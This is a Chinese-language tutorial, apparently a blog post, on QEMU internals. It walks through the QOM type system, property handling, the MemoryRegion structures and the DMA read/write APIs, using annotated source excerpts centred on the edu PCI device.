static void object_class_foreach_tramp(gpointer key, gpointer value,
gpointer opaque)
{
OCFData *data = opaque; // 用户数据:{回调fn、implements_type、include_abstract、opaque}
TypeImpl *type = value; // 当前遍历到的类型
ObjectClass *k;

type_initialize(type); // “惰性类初始化”:若该类型尚未构造其 ObjectClass,则现在构造
k = type->class; // 取到该类型对应的类对象(ObjectClass)

// 过滤 1:若不允许包含抽象类,且该类型是抽象类,则跳过
if (!data->include_abstract && type->abstract) {
return;
}

// 过滤 2:若要求实现某个类型/接口,但当前类动态转型失败,则跳过
// object_class_dynamic_cast(k, X) 成功表示:
// - k 是 X 的子类,或
// - k 实现了接口 X(若 X 是接口类型)
if (data->implements_type &&
!object_class_dynamic_cast(k, data->implements_type)) {
return;
}

// 通过全部过滤条件后,调用用户提供的回调对该类做处理
data->fn(k, data->opaque);
}

类型的层次结构

edu 这个设备的类型信息里(edu_info),有个 parent 字段,写着它的父类型是谁。

edu 来说,父类型是 TYPE_PCI_DEVICE。而 TYPE_PCI_DEVICE 的父类型是 TYPE_DEVICE,再往上是 TYPE_OBJECT。换句话说,类型继承链是:TYPE_OBJECT → TYPE_DEVICE → TYPE_PCI_DEVICE → edu

QEMU 的所有类型都挂在这棵以 TYPE_OBJECT 为根的树上。

初始化类型时(type_initialize),QEMU 会给“类对象”(class)分配内存,这个“类对象”并不是 C++ 的 class,但作用很像:它保存了某个类型的“方法表/元数据”(回调函数、标识字段等)。

1
ti->class = g_malloc0(ti->class_size);

class_size 决定了这个“类对象”到底长啥样(也就是用哪种结构体)。如果当前类型没自己指定 class_size,就沿用父类型的 class_size

在 edu 设备的类型信息 edu_info 结构中有一个 parent 成员,这就指定了 edu_info 的父类型的名称,通过分析源码可知继承关系为 TYPE_PCI_DEVICE->TYPE_DEVICE->TYPE_OBJECT。总体上,QEMU 使用的类型一起构成了以 TYPE_OBJECT 为根的树。

1
2
3
4
5
6
7
8
static const TypeInfo edu_info = {
.name = TYPE_PCI_EDU_DEVICE,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(EduState),
.instance_init = edu_instance_init,
.class_init = edu_class_init,
.interfaces = interfaces,
};

edu 类型没有定义自己的 class_size,所以直接继承父类型 TYPE_PCI_DEVICEclass_size。父类型的类结构体就是 PCIDeviceClass,因此 edu 的类对象类型也就是 PCIDeviceClass(里面包含 realize/exit/config_read/config_write 等回调,以及 vendor/device/class 等标识字段)。

在类型的初始化函数 type_initialize 中会调用 ti->class=g_malloc0(ti->class_size) 语句来分配类型的 class 结构,这个结构实际上代表了类型的信息。类似于 C++ 定义的一个类,从前面的分析看到 ti->class_sizeTypeImpl 中的值,如果类型本身没有定义就会使用父类型的 class_size 进行初始化。edu 设备中的类型本身没有定义,所以它的 class_sizeTYPE_PCI_DEVICE 中定义的值,即 sizeof(PCIDeviceClass)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// QEMU 中用于描述“PCI 设备类”的类型。
// 它相当于某类 PCI 设备的“类信息/元数据”,包含生命周期回调和
// 在配置空间(Configuration Space)中要呈现的标识字段等。
typedef struct PCIDeviceClass {
DeviceClass parent_class; // 继承自通用的 DeviceClass(QOM 体系中的父类)

void (*realize)(PCIDevice *dev, Error **errp); // 设备实例化/上线回调:分配资源、注册 BAR/中断等
PCIUnregisterFunc *exit; // 设备下线/清理回调:释放 realize 中分配的资源
PCIConfigReadFunc *config_read; // 处理对 PCI 配置空间的读取(可覆盖默认行为)
PCIConfigWriteFunc *config_write; // 处理对 PCI 配置空间的写入(可覆盖默认行为)

uint16_t vendor_id; // PCI Vendor ID(厂商 ID),配置空间偏移 0x00
uint16_t device_id; // PCI Device ID(设备 ID),配置空间偏移 0x02
uint8_t revision; // Revision ID(修订号),配置空间偏移 0x08
uint16_t class_id; // Class Code(类码,高 3 字节中的高 2 字节+子类),用于标识设备类别
uint16_t subsystem_vendor_id; /* 仅对 Header Type = 0(普通端点设备)有效:子系统厂商 ID */
uint16_t subsystem_id; /* 仅对 Header Type = 0(普通端点设备)有效:子系统设备 ID */

/*
* 标记该类是否为“PCI-to-PCI 桥”设备(true)或普通端点设备(false)。
* 注意:这里并不表示“主机桥”(PCI Host Bridge)。
* 当支持 CardBus Bridge 时,这里可能会进一步扩展。
*/
bool is_bridge;

/* 选项 ROM(Option ROM)文件名;若设置,会通过 ROM BAR 暴露给固件/驱动 */
const char *romfile;
} PCIDeviceClass;

PCIDeviceClass 表明了类属 PCI 设备的一些信息,如表示设备商信息的 vendor_id 和设备信息 device_id 以及读取 PCI 设备配置空间的 config_readconfig_write 函数。值得注意的是,一个域是第一个成员 DeviceClass 的结构体,这描述的是属于“设备类型”的类型所具有的一些属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* ObjectClass:
*
* The base for all classes. The only thing that #ObjectClass contains is an
* integer type handle.
*/
struct ObjectClass
{
/*< private >*/
Type type;
GSList *interfaces;

const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];

ObjectUnparent *unparent;

GHashTable *properties;
};

typedef struct DeviceClass {
/*< private >*/
ObjectClass parent_class;
/*< public >*/
...
}

DeviceClass 定义了设备类型相关的基本信息以及基本的回调函数,第一个域也是表示其父类型的 Class,为 ObjectClassObjectClass 是所有类型的基础,会内嵌到对应的其他 Class 的第一个域中。

在这里插入图片描述

type_initialize 中会调用以下代码来对父类型所占的这部分空间进行初始化。

1
2
3
4
5
6
7
8
9
10
parent = type_get_parent(ti);
if (parent) {
// [...]
memcpy(ti->class, parent->class, parent->class_size);
// [...]
}
// [...]
if (ti->class_init) {
ti->class_init(ti->class, ti->class_data);
}

对于 edu 设备来说这里的 class_initedu_class_init

1
2
3
4
5
6
7
8
9
10
11
12
13
static void edu_class_init(ObjectClass *class, void *data)
{
DeviceClass *dc = DEVICE_CLASS(class);
PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

k->realize = pci_edu_realize;
k->exit = pci_edu_uninit;
k->vendor_id = PCI_VENDOR_ID_QEMU;
k->device_id = 0x11e8;
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS;
set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}

类型转换 DEVICE_CLASSPCI_DEVICE_CLASS 最终调用的函数为 object_class_dynamic_cast

函数首先通过 type_get_by_name 得到要转到的 TypeImpl,这里的 typenameTYPE_PCI_DEVICE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// 根据给定类型名 typename,对一个类对象 ObjectClass* 进行“动态转型”。
// 成功:
// - 若目标是“类/基类”,返回原始的 class 指针(k 本身);
// - 若目标是“接口类型”,返回该接口对应的 InterfaceClass*(注意不是原始 class);
// 失败:返回 NULL(包括目标类型未知、层次不兼容、或接口匹配产生二义性)。
ObjectClass *object_class_dynamic_cast(ObjectClass *class,
const char *typename)
{
ObjectClass *ret = NULL;
TypeImpl *target_type; // 目标类型(运行期描述符)
TypeImpl *type; // 当前类对应的运行期类型

if (!class) { // 传入空指针,直接失败
return NULL;
}

/* 快速路径:很多“叶子类”的场景能命中
* 注意:这是指针比较(==),只有当 typename 与 class->type->name
* 指向同一块常量/驻留字符串内存时才为真(例如调用方直接传入已有的名字指针,
* 或项目将类型名做了字符串驻留/intern)。不满足则走后续通用路径。
*/
type = class->type;
if (type->name == typename) {
return class; // 目标类型与当前类型同名,直接返回原 class
}

target_type = type_get_by_name(typename); // 把名字解析成 TypeImpl*
if (!target_type) {
/* 目标类型名未知:转换失败 */
return NULL;
}

// 如果:当前类“挂了接口列表”,且“目标类型是接口(或其祖先接口)”
// 则走“接口转换”路径
if (type->class->interfaces &&
type_is_ancestor(target_type, type_interface)) {
int found = 0;
GSList *i;

// 在当前类的接口链表上查找:有没有实现“目标接口(或其子接口)”
for (i = class->interfaces; i; i = i->next) {
ObjectClass *target_class = i->data; // 这是某个已附加到本类的 InterfaceClass*

// 若该接口类的具体类型 target_class->type 是目标接口 target_type
// 的后代(等于或派生),则认为匹配
if (type_is_ancestor(target_class->type, target_type)) {
ret = target_class; // 保存匹配到的接口类
found++;
}
}

/* 如果匹配到多个接口(产生二义性),不允许转换 */
if (found > 1) {
ret = NULL;
}
} else if (type_is_ancestor(type, target_type)) {
// 否则走“类/基类转换”路径:
// 只要“当前类类型是目标类型的后代(等于或派生)”,就返回原 class
ret = class;
}

return ret; // 可能为 NULL(失败)、原 class(类转换),或接口类指针(接口转换)
}

以 edu 为例,type->nameedu,但是要转换到的却是 TYPE_PCI_DEVICE,所以会调用 type_is_ancestor("edu",TYPE_PCI_DEVICE) 来判断后者是否是前者的祖先。

在该函数中依次得到 edu 的父类型,然后判断是否与 TYPE_PCI_DEVICE 相等,由 edu 设备的 TypeInfo 可知其父类型为 TYPE_PCI_DEVICE,所以这个 type_is_ancestor 会成功,能够进行从 ObjectClassPCIDeviceClass 的转换。这样就可以直接通过 (PCIDeviceClass*)ObjectClass 完成从 ObjectClassPCIDeviceClass 的强制转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static bool type_is_ancestor(TypeImpl *type, TypeImpl *target_type)
{
assert(target_type);

/* Check if target_type is a direct ancestor of type */
while (type) {
if (type == target_type) {
return true;
}

type = type_get_parent(type);
}

return false;
}

static TypeImpl *type_get_parent(TypeImpl *type)
{
if (!type->parent_type && type->parent) {
type->parent_type = type_get_by_name(type->parent);
if (!type->parent_type) {
fprintf(stderr, "Type '%s' is missing its parent '%s'\n",
type->name, type->parent);
abort();
}
}

return type->parent_type;
}

对象的构造与初始化

前面提到,首先每个类型指定一个 TypeInfo 注册到系统中,接着在系统运行初始化的时候会把 TypeInfo 转变成 TypeImple 放到一个哈希表中,这就是类型的注册。系统会对这个哈希表中的每一个类型进行初始化,主要是设置 TypeImpl 的一些域以及调用类型的 class_init 函数,这就是类型的初始化。现在系统中已经有了所有类型的信息并且这些类型的初始化函数已经调用了,接着会根据需要(如 QEMU 命令行指定的参数)创建对应的实例对象,也就是各个类型的 object 。

下面来分析指定 -device edu 命令的情况。在 main 函数中有这么一句话。

1
2
qemu_opts_foreach(qemu_find_opts("device"),
device_init_func, NULL, &error_fatal);

对每一个 -device 的参数,会调用 device_init_func 函数,该函数随即调用 qdev_device_add 进行设备的添加。通过 object_new 来构造对象,其调用链如下。

1
2
3
4
5
6
7
8
9
10
device_init_func
| dev = qdev_device_add(opts, errp);
| | dev = DEVICE(object_new(driver));
| | | TypeImpl *ti = type_get_by_name(typename);
| | | object_new_with_type(ti);
| | | | obj = g_malloc(type->instance_size);
| | | | object_initialize_with_type(obj, type->instance_size, type);
| | | | | object_init_with_type(obj, type);
| | | | | object_post_init_with_type(obj, type);
| | object_property_set_bool(OBJECT(dev), true, "realized", &err);

object_initialize_with_type 的主要工作是对 object_init_with_typeobject_post_init_with_type 进行调用,前者通过递归调用所有父类型的对象初始化函数和自身对象的初始化函数,后者调用 TypeImplinstance_post_init 回调成员完成对象初始化之后的工作。下面以 edu 的 TypeInfo 为例进行介绍。

edu 的对象大小(instance_size)为 sizeof(EduState),所以实际上一个 edu 类型的对象是 EduState 结构体,每一个对象都会有一个 XXXState 与之对应,记录了该对象的相关信息,若 edu 是一个 PCI 设备,那么 EduState 里面就会有这个设备的一些信息,如中断信息、设备状态、使用的 MMIO 和 PIO 对应的内存区域等。
object_init_with_type 函数中可以看到调用的参数都是一个 Object 。可以看出,对象之间实际也是有一种父对象与子对象的关系存在。与类型一样,QOM 中的对象也可以使用宏将一个指向 Object 对象的指针转换成一个指向子类对象的指针。转换过程与类型 ObjectClass 类似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct Object
{
/*< private >*/
ObjectClass *class;
ObjectFree *free;
GHashTable *properties;
uint32_t ref;
Object *parent;
};

struct DeviceState {
/*< private >*/
Object parent_obj;
/*< public >*/
// [...]
};

struct PCIDevice {
DeviceState qdev;
// [...]
};

typedef struct {
PCIDevice pdev;
// [...]
} EduState;

这里可以看出,不同于类型信息和类型,object 是根据需要创建的,只有在命令行指定了设备或者是热插一个设备之后才会有 object 的创建。类型和对象之间是通过 Objectclass 域联系在一起的。这是在 object_initialize_with_type 函数中通过 obj->class=type->class 实现的。

从上文可以看出,可以把 QOM 的对象构造分成 3 部分:

  • 第一部分是类型的构造,通过 TypeInfo 构造一个 TypeImpl 的哈希表,这是在 main 之前完成的;
  • 第二部分是类型的初始化,这是在 main 中进行的,这两部分都是全局的,也就是只要编译进去的 QOM 对象都会调用;
  • 第三部分是类对象的构造,这是构造具体的对象实例,只有在命令行指定了对应的设备时,才会创建对象。

现在只是构造出了对象,并且调用了对象初始化函数,但是 EduState 里面的数据内容并没有填充,这个时候的 edu 设备状态并不是可用的,对设备而言还需要设置它的 realized 属性为 true 才行。在 qdev_device_add 函数的后面,还有这样一句:

1
object_property_set_bool(OBJECT(dev), true, "realized", &err);

这句代码将 dev(也就是 edu 设备的 realized 属性)设置为 true ,这就涉及了 QOM 类和对象的另一个方面,即属性。

QOM 中的属性

在 QOM 中为了便于对对象进行管理,还给每种类型以及对象增加了属性。类属性存在于 ObjectClassproperties 域中,这个域是在类型初始化函数 type_initialize 中构造的。对象属性存放在 Objectproperties 域中,这个域是在对象的初始化函数 object_initialize_with_type 中构造的。两者皆为一个哈希表,存着属性名字到 ObjectProperty 的映射。

属性由 ObjectProperty 表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
struct ObjectProperty
{
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
ObjectPropertyInit *init;
void *opaque;
QObject *defval;
};

其中,name 表示名字;type 表示属性的类型,如有的属性是字符串,有的是 bool 类型,有的是 link 等其他更复杂的类型;getsetresolve 等回调函数则是对属性进行操作的函数;opaque 指向一个具体的属性,如 BoolProperty 等。

每一种具体的属性都会有一个结构体来描述它。比如下面的 ·LinkProperty 表示 link 类型的属性,StringProperty 表示字符串类型的属性,BoolProperty 表示 bool 类型的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct {
union {
Object **targetp;
Object *target; /* if OBJ_PROP_LINK_DIRECT, when holding the pointer */
ptrdiff_t offset; /* if OBJ_PROP_LINK_CLASS */
};
void (*check)(const Object *, const char *, Object *, Error **);
ObjectPropertyLinkFlags flags;
} LinkProperty;

typedef struct StringProperty
{
char *(*get)(Object *, Error **);
void (*set)(Object *, const char *, Error **);
} StringProperty;

typedef struct BoolProperty
{
bool (*get)(Object *, Error **);
void (*set)(Object *, bool, Error **);
} BoolProperty;

Object 为例,属性相关结构如下:

在这里插入图片描述

属性的添加分为类属性的添加和对象属性的添加,以对象属性为例,它的属性添加是通过 object_property_add 接口完成的。段忽略了属性 name 中带有通配符 * 的情况,该函数内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ObjectProperty *
object_property_add(Object *obj, const char *name, const char *type,
ObjectPropertyAccessor *get,
ObjectPropertyAccessor *set,
ObjectPropertyRelease *release,
void *opaque, Error **errp)
{
ObjectProperty *prop;
size_t name_len = strlen(name);
// [...]
if (object_property_find(obj, name, NULL) != NULL) {
error_setg(errp, "attempt to add duplicate property '%s' to object (type '%s')",
name, object_get_typename(obj));
return NULL;
}

prop = g_malloc0(sizeof(*prop));

prop->name = g_strdup(name);
prop->type = g_strdup(type);

prop->get = get;
prop->set = set;
prop->release = release;
prop->opaque = opaque;

g_hash_table_insert(obj->properties, prop->name, prop);
return prop;
}

object_property_add 函数首先调用 object_property_find 来确认所插入的属性是否已经存在,确保不会添加重复的属性,接着分配一个 ObjectProperty 结构并使用参数进行初始化,然后调用 g_hash_table_insert 插入到对象的 properties 域中。

属性的查找通过 object_property_find 函数实现,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ObjectProperty *object_class_property_find(ObjectClass *klass, const char *name,
Error **errp)
{
ObjectProperty *prop;
ObjectClass *parent_klass;

parent_klass = object_class_get_parent(klass);
if (parent_klass) {
prop = object_class_property_find(parent_klass, name, NULL);
if (prop) {
return prop;
}
}

prop = g_hash_table_lookup(klass->properties, name);
if (!prop) {
error_setg(errp, "Property '.%s' not found", name);
}
return prop;
}

这个函数首先调用 object_class_property_find 来确认自己所属的类以及所有父类都不存在这个属性,然后在自己的 properties 域中查找。

属性的设置是通过 object_property_set 来完成的,其只是简单地调用 ObjectPropertyset 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void object_property_set(Object *obj, Visitor *v, const char *name,
Error **errp)
{
ObjectProperty *prop = object_property_find(obj, name, errp);
if (prop == NULL) {
return;
}

if (!prop->set) {
error_setg(errp, QERR_PERMISSION_DENIED);
} else {
prop->set(obj, v, name, prop->opaque, errp);
}
}

每一种属性类型都有自己的 set 函数,其名称为 property_set_XXX ,其中的 XXX 表示属性类型,如 bool、str、link 等。以 bool 为例,其 set 函数如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void property_set_bool(Object *obj, Visitor *v, const char *name,
void *opaque, Error **errp)
{
BoolProperty *prop = opaque;
bool value;
Error *local_err = NULL;

visit_type_bool(v, name, &value, &local_err);
if (local_err) {
error_propagate(errp, local_err);
return;
}

prop->set(obj, value, errp);
}

可以看到,其调用了具体属性(BoolProperty)的 set 函数,这是在创建这个属性的时候指定的。

QEMU 内存虚拟化

QEMU 内存结构

MemoryRegion 抽象了 一个地址空间中的一段范围,既可以是可读写的 RAM,也可以是由回调实现的 MMIO,还可以是I/O 端口空间的桥接别名(Alias)IOMMU 入口只读 ROM/ROMD,或者纯容器(Container/Root)。它们共同组成 无环图(DAG) 的内存映射视图,最终被“扁平化”成 AddressSpace 的映射供 CPU/设备访问。

该结构体定义于 include/exec/memory.h 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/** MemoryRegion:
*
* 表示“一段可映射的内存区域”(RAM、ROM、MMIO、别名、IOMMU 等)。
* 既可作为顶层容器,也可作为某容器的子区域。
*/
struct MemoryRegion {
Object parent_obj; // QOM:继承自 Object,便于统一管理/属性/生命周期

/* private: */

/* 下列字段尽量放在同一 cache line,减少热路径访问开销 */
bool romd_mode; // ROM direct 模式:ROM 区域是否允许像 RAM 一样直读(加速)
bool ram; // 是否为“RAM 型”区域(由 RAMBlock/host 内存支撑)
bool subpage; // 是否是“子页粒度”区域(小于页大小,需子页调度)
bool readonly; // 只读标志(仅对 RAM 区域有效;ROM 使用 romd/rom_device)
bool nonvolatile; // 非易失(如 NVDIMM/NVDIMM-like)
bool rom_device; // 设备型 ROM(可临时切换 romd_mode 的 ROM 设备窗口)
bool flush_coalesced_mmio; // 是否需要在写合并(coalesced)MMIO后做 flush
bool global_locking; // 访问该区域的回调是否在 BQL(全局锁) 保护下调用
uint8_t dirty_log_mask; // 脏页跟踪掩码(KVM/软件脏页记录相关)
bool is_iommu; // 是否是 IOMMU 区域(对传入地址再翻译/转发)
RAMBlock *ram_block; // 若为 RAM:指向其 RAMBlock(宿主内存块)
Object *owner; // 拥有该区域的 QOM 对象(设备/bridge/容器等)

const MemoryRegionOps *ops; // 非 RAM/别名时的读写回调/vtable(MMIO 等)
void *opaque; // 传给 ops 的私有指针(设备私有上下文)
MemoryRegion *container; // 若作为子区域:指向其父容器(地址空间上的上级)
Int128 size; // 区域大小(支持 >64 位,使用 Int128)
hwaddr addr; // 在 container 中的起始偏移(映射地址,不是 guest 物理绝对地址)
void (*destructor)(MemoryRegion *mr);// 区域销毁钩子(unrealize/清理时调用)
uint64_t align; // 对齐要求(常用于映射/别名边界约束)
bool terminates; // 是否“终止翻译”的叶子区域(有 ops/RAM 的终端,非容器)
bool ram_device; // 设备提供的“RAM 窗口”(设备声明为 RAM 的映射)
bool enabled; // 是否已启用(被添加/映射到容器且处于有效态)
bool warning_printed; // 仅用于“保留区”告警:是否已打印过警告
uint8_t vga_logging_count; // VGA 脏页日志引用计数(显示更新相关优化)
MemoryRegion *alias; // 若为别名:指向被别名的目标区域
hwaddr alias_offset; // 别名相对于目标区域的偏移
int32_t priority; // 子区域优先级(解决重叠时的匹配顺序,数值越大优先)
QTAILQ_HEAD(, MemoryRegion) subregions; // 子区域链表头(按优先级/地址有序)
QTAILQ_ENTRY(MemoryRegion) subregions_link; // 作为别人容器时,挂在其 subregions 上的链
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;// 合并写范围链表(减少 MMIO 写陷入次数)
const char *name; // 名称(调试/追踪/监控用)
unsigned ioeventfd_nb; // ioeventfd 条目数量(KVM: guest 写寄存器触发 host 事件)
MemoryRegionIoeventfd *ioeventfds; // ioeventfd 数组(地址/掩码/FD 等描述)
};

MemoryRegion 的成员函数被封装在函数表 MemoryRegionOps 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
* Memory region callbacks
* 设备MMIO/PIO等“内存区域”的回调与约束。
*/
struct MemoryRegionOps {
/* 从该区域读取。@addr 相对该 MemoryRegion 起始地址;@size 为字节数。 */
uint64_t (*read)(void *opaque,
hwaddr addr,
unsigned size);

/* 向该区域写入。@addr 相对该 MemoryRegion 起始地址;@size 为字节数。 */
void (*write)(void *opaque,
hwaddr addr,
uint64_t data,
unsigned size);

/* 携带“事务属性”的读写版本(如特权/安全域/原子性/顺序等由CPU/MMU下传)。
* 返回值用 MemTxResult 告知成功/失败/拒绝等,比上面两个更通用。 */
MemTxResult (*read_with_attrs)(void *opaque,
hwaddr addr,
uint64_t *data,
unsigned size,
MemTxAttrs attrs);
MemTxResult (*write_with_attrs)(void *opaque,
hwaddr addr,
uint64_t data,
unsigned size,
MemTxAttrs attrs);

/* 设备寄存器视角的端序(DEVICE_NATIVE_ENDIAN / DEVICE_LITTLE_ENDIAN / DEVICE_BIG_ENDIAN)。
* 内核据此在拆分/合并访问时取放字节,确保多字节寄存器的语义正确。 */
enum device_endian endianness;

/* —— 面向“客机可见”的约束(违反将向客机报错/触发异常) —— */
struct {
/* 若非0:声明支持的最小/最大访问粒度(单位字节)。超出范围的访问
* 属于“客机不被允许”的访问,可能触发 machine check 等客机可见异常。 */
unsigned min_access_size;
unsigned max_access_size;

/* 是否允许非自然对齐访问(例如对4字节寄存器从未对齐地址访问)。
* 为false时,不允许的未对齐访问将被报告为客机访问错误。 */
bool unaligned;

/* 访问许可的回调:若存在且返回false,说明该笔访问被设备拒绝
*(例如地址洞/保留位/只读窗口等),将导致客机侧的错误行为。 */
bool (*accepts)(void *opaque, hwaddr addr,
unsigned size, bool is_write,
MemTxAttrs attrs);
} valid;

/* —— 设备实现自身的“内部约束”(违反时QEMU会帮你适配) —— */
struct {
/* 若非0:实现所能处理的最小粒度。小于该粒度的访问,内核会
* “上调”为该粒度调用你的回调(读时只回填所需字节;写时通常做RMW)。 */
unsigned min_access_size;

/* 若非0:实现所能处理的最大粒度。大于该值的访问,内核会拆成
* 多次较小访问调用你的回调。 */
unsigned max_access_size;

/* 若为false:实现不支持未对齐访问,内核会把未对齐访问拆解为
* 若干自然对齐的小访问后再调用你的回调。 */
bool unaligned;
} impl;
};

MemoryRegionOps 中的 readwrite 回调函数只有在命中 IO 型区域(MMIO/ROM‑device/PMIO)时才会调用,否则直接直接对宿主内存读写。

1
2
3
4
5
6
7
Guest CPU 访存


AddressSpace(地址簿)
│ 查表定位
├──► MemoryRegion = RAM/ROM ──► 直接读/写宿主内存
└──► MemoryRegion = IO(设备) ─► 调用 ops.read / ops.write(你的设备代码)

IO 型内存注册

1
void pci_register_bar(PCIDevice *dev, int region_num, uint8_t attr, MemoryRegion *mr);
  • 第二个参数 region_numBAR 号(0..5,或 6 为 ROM)。
  • 第三个参数 attr 决定是 MMIO 还是 IO(PIO)
    • MMIO:PCI_BASE_ADDRESS_SPACE_MEMORY = 0x00
    • PIO:PCI_BASE_ADDRESS_SPACE_IO = 0x01

内存操作函数

AddressSpace 通用读写

1
2
3
4
5
6
7
8
9
MemTxResult address_space_read(AddressSpace *as, hwaddr addr,
MemTxAttrs attrs, void *buf, size_t len);

MemTxResult address_space_write(AddressSpace *as, hwaddr addr,
MemTxAttrs attrs, const void *buf, size_t len);

MemTxResult address_space_rw(AddressSpace *as, hwaddr addr,
MemTxAttrs attrs, void *buf, size_t len,
bool is_write);

参数说明

  • as:要访问的地址空间。常见有:

    • 系统物理内存(system memory)的 AddressSpace(例如 &address_space_memory);
    • I/O 地址空间;
    • 经过 IOMMU 翻译后的 DMA AddressSpace(比如为某个总线/设备创建的 DMA AS)。
  • addr:在该 AddressSpace 内的起始物理地址/IO 地址

  • attrs事务属性MemTxAttrs),通常写 MEMTXATTRS_UNSPECIFIED。它会随访问传递,供内存监听器、IOMMU 等子系统解读(比如是否可被合并、缓存属性、发起者信息等,具体随目标体系结构/设备而定)。

  • buf / len:读/写的用户缓冲区与长度;读时把目标内容拷贝到 buf,写时从 buf 拷贝到目标。

  • is_write:仅对 address_space_rw()true=写,false=读。

返回值(错误处理)

  • 返回 MemTxResult成功为“OK”(不同版本的枚举名略有差别,但你可以把“非 OK”都当错误处理),失败表示访问异常、解码失败(地址无映射/被拒)、或设备侧报错。
  • 实践建议:判是否为 OK,错误时在设备里置位 DMA 错误、触发中断或按设备规范处理。

使用场景

  • 已经知道要访问哪个 AddressSpace(例如已拿到“某设备的 DMA 地址空间”),并希望以统一 API发起读/写。

dma_memory_read / dma_memory_write(设备发起 DMA 时优先用)

1
2
3
4
5
6
7
8
9
/* 简化:attrs 固定为未指定,返回 int(0=成功,负数=错误) */
int dma_memory_read(AddressSpace *as, dma_addr_t addr, void *buf, dma_addr_t len);
int dma_memory_write(AddressSpace *as, dma_addr_t addr, const void *buf, dma_addr_t len);

/* 完整:可携带 attrs,返回 MemTxResult(更细的错误语义) */
MemTxResult dma_memory_read_with_attrs(AddressSpace *as, dma_addr_t addr,
void *buf, dma_addr_t len, MemTxAttrs attrs);
MemTxResult dma_memory_write_with_attrs(AddressSpace *as, dma_addr_t addr,
const void *buf, dma_addr_t len, MemTxAttrs attrs);

参数说明

  • asDMA 使用的 AddressSpace。若系统存在 IOMMU,请确保这里传的是IOMMU 后的 DMA AS(否则就绕过了 IOMMU,不符合真实硬件)。
  • addrDMA 地址(设备视角下的地址)。
  • buf / len:同上。
  • attrs:同上;大多数设备用 MEMTXATTRS_UNSPECIFIED 就好。

返回值

  • 简化版返回 int(0 成功,<0 失败);*_with_attrs 返回 MemTxResult

DMA(Direct Memory Access,直接内存访问) 是指外设(比如网卡/存储/显卡/PCIe 设备)绕过 CPU,直接在来宾的内存地址空间里读/写数据的一种机制。

在 QEMU 设备模型里,“设备做 DMA”= 你的设备代码主动去读/写 Guest(或经 IOMMU 翻译后的 I/O 虚拟地址,IOVA)里的缓冲区。

  • CPU 访存:Guest 的 CPU 执行指令触发访存(load/store),QEMU 根据地址落到 RAM 或 MMIO;MMIO 会调用你的 MemoryRegionOps.read/write 回调。
  • DMA 访存设备本身发起内存传输(比如把网卡收到的数据写到来宾内存中的 ring buffer),在 QEMU 里表现为设备模型主动调用 dma_memory_read/write(或 pci_dma_read/write)。

PCI 专用:pci_dma_read / pci_dma_write

这两个函数用于PCI 设备发起 DMA:从设备视角用 IOVA/DMA 地址 去读/写来宾内存的数据。它们会根据 dev 自动选择正确的 DMA AddressSpace(考虑 IOMMU/ATS 等),比你自己拿 AddressSpace 更不容易出错。

1
2
int pci_dma_read(PCIDevice *dev, dma_addr_t addr, void *buf, dma_addr_t len);
int pci_dma_write(PCIDevice *dev, dma_addr_t addr, const void *buf, dma_addr_t len);

参数说明

  • dev: 发起 DMA 的 PCIDevice *(你的设备对象)。

  • addr: dma_addr_t设备看到的 DMA 地址(通常是 IOVA;没有 IOMMU 时等同于来宾物理地址)。

  • buf: 主机侧缓冲区指针。

    • pci_dma_read输出缓冲(把来宾内存读到这里)。
    • pci_dma_write输入缓冲(把这里的数据写到来宾内存)。
  • len: 传输字节数(dma_addr_t 类型以便支持 64 位长度)。

返回值

  • 0:整段传输成功(等价于底层 MemTxResult == MEMTX_OK)。

  • 非 0(通常为 -1:传输失败(底层不是 MEMTX_OK)。

    • 不保证设置 errno不要依赖 errno
    • 失败原因可能是:IOMMU 翻译失败/权限拒绝、地址未映射(解码失败)、目标 MemoryRegion 报错、越界等。
  • 没有“部分成功”的返回:要么成功完成 len 字节,要么失败(如果你需要部分长度语义,就改用 address_space_map/unmap 循环搬运,或把大块拆小分段重试)。

特点

  • 会基于 dev 选择正确的 DMA AddressSpace(考虑 IOMMU/ATS 等),避免你手动找 AS 出错。
  • 语义与 dma_memory_* 等价,但更贴近“PCI 设备发起 DMA”的常见场景。

另外有的版本的 QEMU 还会提供带 MemTxResult 属性的 pci_dma_* 函数。

1
2
3
4
5
/* 也有带属性版本(有的分支/头文件里提供):*/
MemTxResult pci_dma_read_with_attrs(PCIDevice *dev, dma_addr_t addr,
void *buf, dma_addr_t len, MemTxAttrs attrs);
MemTxResult pci_dma_write_with_attrs(PCIDevice *dev, dma_addr_t addr,
